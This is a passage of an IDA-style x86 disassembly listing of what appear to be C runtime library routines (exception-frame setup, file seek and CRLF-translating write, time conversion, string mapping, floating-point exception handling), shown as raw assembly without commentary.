[ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422350: ; CODE XREF: sub_4222C2+F5j push eax call sub_4224ED pop ecx pop ecx mov [edi], eax jmp loc_422467 ; --------------------------------------------------------------------------- loc_42235F: ; CODE XREF: sub_4222C2+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4223B9 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41CC90 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422467 mov eax, [edi] test eax, eax jz loc_422467 add esi, 8 push esi jmp short loc_422350 ; --------------------------------------------------------------------------- loc_4223B9: ; CODE XREF: sub_4222C2+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422401 call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push edi call sub_41CC90 add esp, 0Ch jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422401: ; CODE XREF: sub_4222C2+103j call sub_424770 pop ecx pop ecx test eax, eax jz short loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+18h] call sub_4247A8 pop ecx test eax, eax jz short loc_422462 test byte ptr [esi], 4 jz short loc_422448 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C9 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422448: ; CODE XREF: sub_4222C2+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C2 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422462: ; CODE XREF: sub_4222C2+6Aj ; sub_4222C2+7Cj ... call sub_4225B2 loc_422467: ; CODE XREF: sub_4222C2+98j ; sub_4222C2+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_42246B: ; CODE XREF: sub_4222C2+2Ej ; sub_4222C2+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4222C2 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422486 proc near ; CODE XREF: sub_421DB1+170p ; sub_422252+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427900 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4224CD mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4224CD and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41C8C2 or [ebp+var_4], 0FFFFFFFFh loc_4224CD: ; CODE XREF: sub_422486+2Aj ; sub_422486+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422486 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp ; sub_4222C2+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_42250E mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_42250E: ; CODE XREF: sub_4224ED+12j pop esi retn sub_4224ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422510 proc near ; CODE XREF: sub_41C955+40p ; sub_42205D+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41CC41 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42254F mov ecx, 2 loc_42254F: ; CODE XREF: sub_422510+38j push ecx call sub_41CC41 pop ebp pop ecx pop ebx leave retn 0Ch sub_422510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j ; sub_4220FB:loc_42210Cj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427910 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DB328 test eax, eax jz short loc_4225A4 mov [ebp+var_4], 1 call eax jmp short loc_4225A0 ; --------------------------------------------------------------------------- loc_422599: ; DATA XREF: ___:00427920o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42259D: ; DATA XREF: ___:00427924o mov esp, [ebp+var_18] loc_4225A0: ; CODE XREF: sub_42255C+3Bj and [ebp+var_4], 0 loc_4225A4: ; CODE XREF: sub_42255C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4225AD: ; DATA XREF: ___:00427918o jmp loc_4247C0 sub_42255C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p ; sub_41CAF7:loc_41CB62p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43C8C4 test eax, eax jz short loc_4225FA mov [ebp+var_4], 1 call eax ; sub_42255C jmp short loc_4225F6 ; --------------------------------------------------------------------------- loc_4225EF: ; DATA XREF: ___:00427938o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4225F3: ; DATA XREF: ___:0042793Co mov esp, [ebp+var_18] loc_4225F6: ; CODE XREF: sub_4225B2+3Bj and [ebp+var_4], 0 loc_4225FA: ; CODE XREF: sub_4225B2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422603: ; DATA XREF: ___:00427930o jmp sub_42255C sub_4225B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422608 proc near ; CODE XREF: sub_41CFD3+7p ; sub_41CFD3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DC908 push esi cmp eax, 3 jnz short loc_422631 mov esi, [ebp+arg_0] push esi call sub_41DE77 test eax, eax pop ecx jz short loc_42262E mov eax, [esi-4] sub eax, 9 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_422608+1Cj push esi jmp short loc_422658 ; --------------------------------------------------------------------------- loc_422631: ; CODE XREF: sub_422608+Ej cmp eax, 2 jnz short loc_422655 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_422655 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_422655: ; CODE XREF: sub_422608+2Cj ; sub_422608+43j push [ebp+arg_0] loc_422658: ; CODE XREF: sub_422608+27j push 0 push dword_4DC904 nop call near ptr 2670000h loc_422666: ; CODE XREF: sub_422608+24j ; sub_422608+4Bj pop esi leave retn sub_422608 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422669 proc near ; CODE XREF: sub_41D081+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_422725 cmp ebx, 8Ah jg loc_422725 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43CD8C[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4226A8 cmp edi, 2 jle short loc_4226A8 inc esi loc_4226A8: ; CODE XREF: sub_422669+37j ; sub_422669+3Cj call sub_4247D7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43CCA8 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_42271B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422721 cmp dword_43CCAC, 0 jz short loc_422721 lea eax, [ebp+var_24] push eax call sub_424A4A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422721 loc_42271B: ; CODE XREF: sub_422669+90j add ecx, dword_43CCB0 loc_422721: ; CODE XREF: sub_422669+96j ; sub_422669+9Fj ... mov eax, ecx jmp short loc_422728 ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_422669+13j ; sub_422669+1Fj or eax, 0FFFFFFFFh loc_422728: ; CODE XREF: sub_422669+BAj pop ebx leave retn sub_422669 endp ; =============== S U B R O U T I N E ======================================= sub_42272B proc near ; CODE XREF: ___:0041D253p ; sub_41F11C+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DC6C0 push esi push edi jnb short loc_4227AD mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4227AD push eax call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_42276F mov dword_4DB278, 9 jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42276F: ; CODE XREF: sub_42272B+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 2780000h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_42278F nop call near ptr 2690CE2h jmp short loc_422791 ; --------------------------------------------------------------------------- loc_42278F: ; CODE XREF: sub_42272B+5Aj xor eax, eax loc_422791: ; CODE XREF: sub_42272B+62j test eax, eax jz short loc_42279E push eax call sub_4203DF pop ecx jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42279E: ; CODE XREF: sub_42272B+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4227C1 ; --------------------------------------------------------------------------- loc_4227AD: ; CODE XREF: sub_42272B+Dj ; sub_42272B+2Aj and dword_4DB27C, 0 mov dword_4DB278, 9 loc_4227BE: ; CODE XREF: sub_42272B+42j ; sub_42272B+71j or eax, 0FFFFFFFFh loc_4227C1: ; CODE XREF: sub_42272B+80j pop edi pop esi pop ebx retn sub_42272B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227C5 proc near ; CODE XREF: ___:0041D216p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4227E1 mov [edi+4], ebx loc_4227E1: ; CODE XREF: sub_4227C5+17j push 1 push ebx push esi call sub_42272B add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42284F mov edx, [edi+0Ch] test dx, 108h jnz short loc_422806 sub eax, [edi+4] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422806: ; CODE XREF: sub_4227C5+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422840 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DC5C0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_422857 mov edx, ecx loc_422831: ; CODE XREF: sub_4227C5+79j cmp edx, eax jnb short loc_422857 cmp byte ptr [edx], 0Ah jnz short loc_42283D inc [ebp+var_8] loc_42283D: ; CODE XREF: sub_4227C5+73j inc edx jmp short loc_422831 ; --------------------------------------------------------------------------- loc_422840: ; CODE XREF: sub_4227C5+50j test dl, 80h jnz short loc_422857 mov dword_4DB278, 16h loc_42284F: ; CODE XREF: sub_4227C5+2Dj or eax, 0FFFFFFFFh jmp loc_422918 ; --------------------------------------------------------------------------- loc_422857: ; CODE XREF: sub_4227C5+68j ; sub_4227C5+6Ej ... cmp [ebp+var_4], 0 jnz short loc_422865 mov eax, [ebp+var_8] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422865: ; CODE XREF: sub_4227C5+96j test byte ptr [edi+0Ch], 1 jz loc_422910 mov edx, [edi+4] test edx, edx jnz short loc_42287E and [ebp+var_8], edx jmp loc_422910 ; --------------------------------------------------------------------------- loc_42287E: ; CODE XREF: sub_4227C5+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_42290A push 2 push 0 push [ebp+var_C] call sub_42272B add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4228D1 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4228BC: ; CODE XREF: sub_4227C5+104j cmp eax, ecx jnb short loc_4228CB cmp byte ptr [eax], 0Ah jnz short loc_4228C8 inc [ebp+arg_0] loc_4228C8: ; CODE XREF: sub_4227C5+FEj inc eax jmp short loc_4228BC ; --------------------------------------------------------------------------- loc_4228CB: ; CODE XREF: sub_4227C5+F9j test byte ptr [edi+0Dh], 20h jmp short loc_422905 ; --------------------------------------------------------------------------- loc_4228D1: ; CODE XREF: sub_4227C5+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_42272B mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4228F8 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4228F8 test ch, 4 jz short loc_4228FB loc_4228F8: ; CODE XREF: sub_4227C5+124j ; sub_4227C5+12Cj mov eax, [edi+18h] loc_4228FB: ; CODE XREF: sub_4227C5+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_422905: ; CODE XREF: sub_4227C5+10Aj jz short loc_42290A inc [ebp+arg_0] loc_42290A: ; CODE XREF: sub_4227C5+D9j ; sub_4227C5:loc_422905j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422910: ; CODE XREF: sub_4227C5+A4j ; sub_4227C5+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422918: ; CODE XREF: sub_4227C5+3Cj ; sub_4227C5+8Dj ... pop edi pop esi pop ebx leave retn sub_4227C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p ; sub_41DB8B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DC6C0 push esi push edi jnb loc_422AB1 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_422AB1 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42296E loc_422967: ; CODE XREF: sub_42291D+177j xor eax, eax jmp loc_422AC5 ; --------------------------------------------------------------------------- loc_42296E: ; CODE XREF: sub_42291D+48j test al, 20h jz short loc_42297E push 2 push edi push ecx call sub_42272B add esp, 0Ch loc_42297E: ; CODE XREF: sub_42291D+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422A4D mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_422A85 loc_42299E: ; CODE XREF: sub_42291D+F5j lea eax, [ebp+var_414] loc_4229A4: ; CODE XREF: sub_42291D+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4229D8 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4229C3 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4229C3: ; CODE XREF: sub_42291D+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_4229A4 loc_4229D8: ; CODE XREF: sub_42291D+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 2700000h nop test eax, eax jz short loc_422A42 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_422A14 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42299E loc_422A14: ; CODE XREF: sub_42291D+EAj ; sub_42291D+12Ej xor edi, edi loc_422A16: ; CODE XREF: sub_42291D+150j ; sub_42291D+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_422AAC cmp [ebp+arg_0], edi jz short loc_422A85 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_422A7A mov dword_4DB278, 9 mov dword_4DB27C, eax jmp loc_422AC2 ; --------------------------------------------------------------------------- loc_422A42: ; CODE XREF: sub_42291D+E0j nop call near ptr 2690CE2h mov [ebp+arg_0], eax jmp short loc_422A14 ; --------------------------------------------------------------------------- loc_422A4D: ; CODE XREF: sub_42291D+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 2700000h test eax, eax jz short loc_422A6F mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A6F: ; CODE XREF: sub_42291D+145j nop call near ptr 2690CE2h mov [ebp+arg_0], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A7A: ; CODE XREF: sub_42291D+10Fj push [ebp+arg_0] call sub_4203DF pop ecx jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422A85: ; CODE XREF: sub_42291D+7Bj ; sub_42291D+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_422A9A mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_422967 loc_422A9A: ; CODE XREF: sub_42291D+16Fj mov dword_4DB278, 1Ch mov dword_4DB27C, edi jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422AAC: ; CODE XREF: sub_42291D+FEj sub eax, [ebp+var_10] jmp short loc_422AC5 ; --------------------------------------------------------------------------- loc_422AB1: ; CODE XREF: sub_42291D+15j ; sub_42291D+37j and dword_4DB27C, 0 mov dword_4DB278, 9 loc_422AC2: ; CODE XREF: sub_42291D+120j ; sub_42291D+166j ... or eax, 0FFFFFFFFh loc_422AC5: ; CODE XREF: sub_42291D+4Cj ; sub_42291D+192j pop edi pop esi pop ebx leave retn sub_42291D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p ; sub_41D5AA+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427948 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DB34C, edi jnz short loc_422B40 push edi push edi push 1 pop ebx push ebx push offset dword_427940 mov esi, 100h push esi push edi call near ptr 2650000h nop test eax, eax jz short loc_422B1E mov dword_4DB34C, ebx jmp short loc_422B40 ; --------------------------------------------------------------------------- loc_422B1E: ; CODE XREF: sub_422ACA+4Aj push edi push edi push ebx push offset dword_4CAE2C push esi push edi call near ptr 2660000h nop test eax, eax jz loc_422C58 mov dword_4DB34C, 2 loc_422B40: ; CODE XREF: sub_422ACA+2Ej ; sub_422ACA+52j cmp [ebp+arg_C], edi jle short loc_422B55 push [ebp+arg_C] push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov [ebp+arg_C], eax loc_422B55: ; CODE XREF: sub_422ACA+79j mov eax, dword_4DB34C cmp eax, 2 jnz short loc_422B7C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2660000h jmp loc_422C5A ; --------------------------------------------------------------------------- loc_422B7C: ; CODE XREF: sub_422ACA+93j cmp eax, 1 jnz loc_422C58 cmp [ebp+arg_18], edi jnz short loc_422B92 mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_422B92: ; CODE XREF: sub_422ACA+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] nop call near ptr 2830000h mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_422C58 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_422BED ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_422BED: ; CODE XREF: sub_422ACA+10Ej cmp [ebp+var_24], edi jz short loc_422C58 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2830000h test eax, eax jz short loc_422C58 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_422C58 test byte ptr [ebp+arg_4+1], 4 jz short loc_422C6C cmp [ebp+arg_14], edi jz loc_422CE7 cmp esi, [ebp+arg_14] jg short loc_422C58 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h test eax, eax jnz loc_422CE7 loc_422C58: ; CODE XREF: sub_422ACA+66j ; sub_422ACA+B5j ... xor eax, eax loc_422C5A: ; CODE XREF: sub_422ACA+ADj ; sub_422ACA+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422C6C: ; CODE XREF: sub_422ACA+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422CA0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422CA0: ; CODE XREF: sub_422ACA+1C2j cmp ebx, edi jz short loc_422C58 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h test eax, eax jz short loc_422C58 cmp [ebp+arg_14], edi push edi push edi jnz short loc_422CC7 push edi push edi jmp short loc_422CCD ; --------------------------------------------------------------------------- loc_422CC7: ; CODE XREF: sub_422ACA+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_422CCD: ; CODE XREF: sub_422ACA+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 2821017h mov esi, eax cmp esi, edi jz loc_422C58 loc_422CE7: ; CODE XREF: sub_422ACA+165j ; sub_422ACA+188j mov eax, esi jmp loc_422C5A sub_422ACA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_422E2F test eax, eax pop ecx jz loc_422E23 mov ebx, [eax+8] test ebx, ebx jz loc_422E23 cmp ebx, 5 jnz short loc_422D1F and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422E2C ; --------------------------------------------------------------------------- loc_422D1F: ; CODE XREF: ___:00422D11j cmp ebx, 1 jz loc_422E1E mov ecx, dword_4DB350 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DB350, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422E0E mov ecx, dword_43C940 mov edx, dword_43C944 add edx, ecx push esi cmp ecx, edx jge short loc_422D6E lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43C8D0h[esi*4] loc_422D65: ; CODE XREF: ___:00422D6Cj and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422D65 loc_422D6E: ; CODE XREF: ___:00422D57j mov eax, [eax] mov esi, dword_43C94C cmp eax, 0C000008Eh jnz short loc_422D89 mov dword_43C94C, 83h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D89: ; CODE XREF: ___:00422D7Bj cmp eax, 0C0000090h jnz short loc_422D9C mov dword_43C94C, 81h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D9C: ; CODE XREF: ___:00422D8Ej cmp eax, 0C0000091h jnz short loc_422DAF mov dword_43C94C, 84h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DAF: ; CODE XREF: ___:00422DA1j cmp eax, 0C0000093h jnz short loc_422DC2 mov dword_43C94C, 85h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DC2: ; CODE XREF: ___:00422DB4j cmp eax, 0C000008Dh jnz short loc_422DD5 mov dword_43C94C, 82h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DD5: ; CODE XREF: ___:00422DC7j cmp eax, 0C000008Fh jnz short loc_422DE8 mov dword_43C94C, 86h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DE8: ; CODE XREF: ___:00422DDAj cmp eax, 0C0000092h jnz short loc_422DF9 mov dword_43C94C, 8Ah loc_422DF9: ; CODE XREF: ___:00422D87j ; ___:00422D9Aj ... push dword_43C94C push 8 call ebx pop ecx mov dword_43C94C, esi pop ecx pop esi jmp short loc_422E16 ; --------------------------------------------------------------------------- loc_422E0E: ; CODE XREF: ___:00422D40j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422E16: ; CODE XREF: ___:00422E0Cj mov eax, [ebp+8] mov dword_4DB350, eax loc_422E1E: ; CODE XREF: ___:00422D22j or eax, 0FFFFFFFFh jmp short loc_422E2C ; --------------------------------------------------------------------------- loc_422E23: ; CODE XREF: ___:00422CFDj ; ___:00422D08j push dword ptr [ebp+0Ch] nop call near ptr 26400D8h loc_422E2C: ; CODE XREF: ___:00422D1Aj ; ___:00422E21j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_422E2F proc near ; CODE XREF: ___:00422CF5p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C948 cmp dword_43C8C8, edx push esi mov eax, offset dword_43C8C8 jz short loc_422E5C lea esi, [ecx+ecx*2] lea esi, ds:43C8C8h[esi*4] loc_422E51: 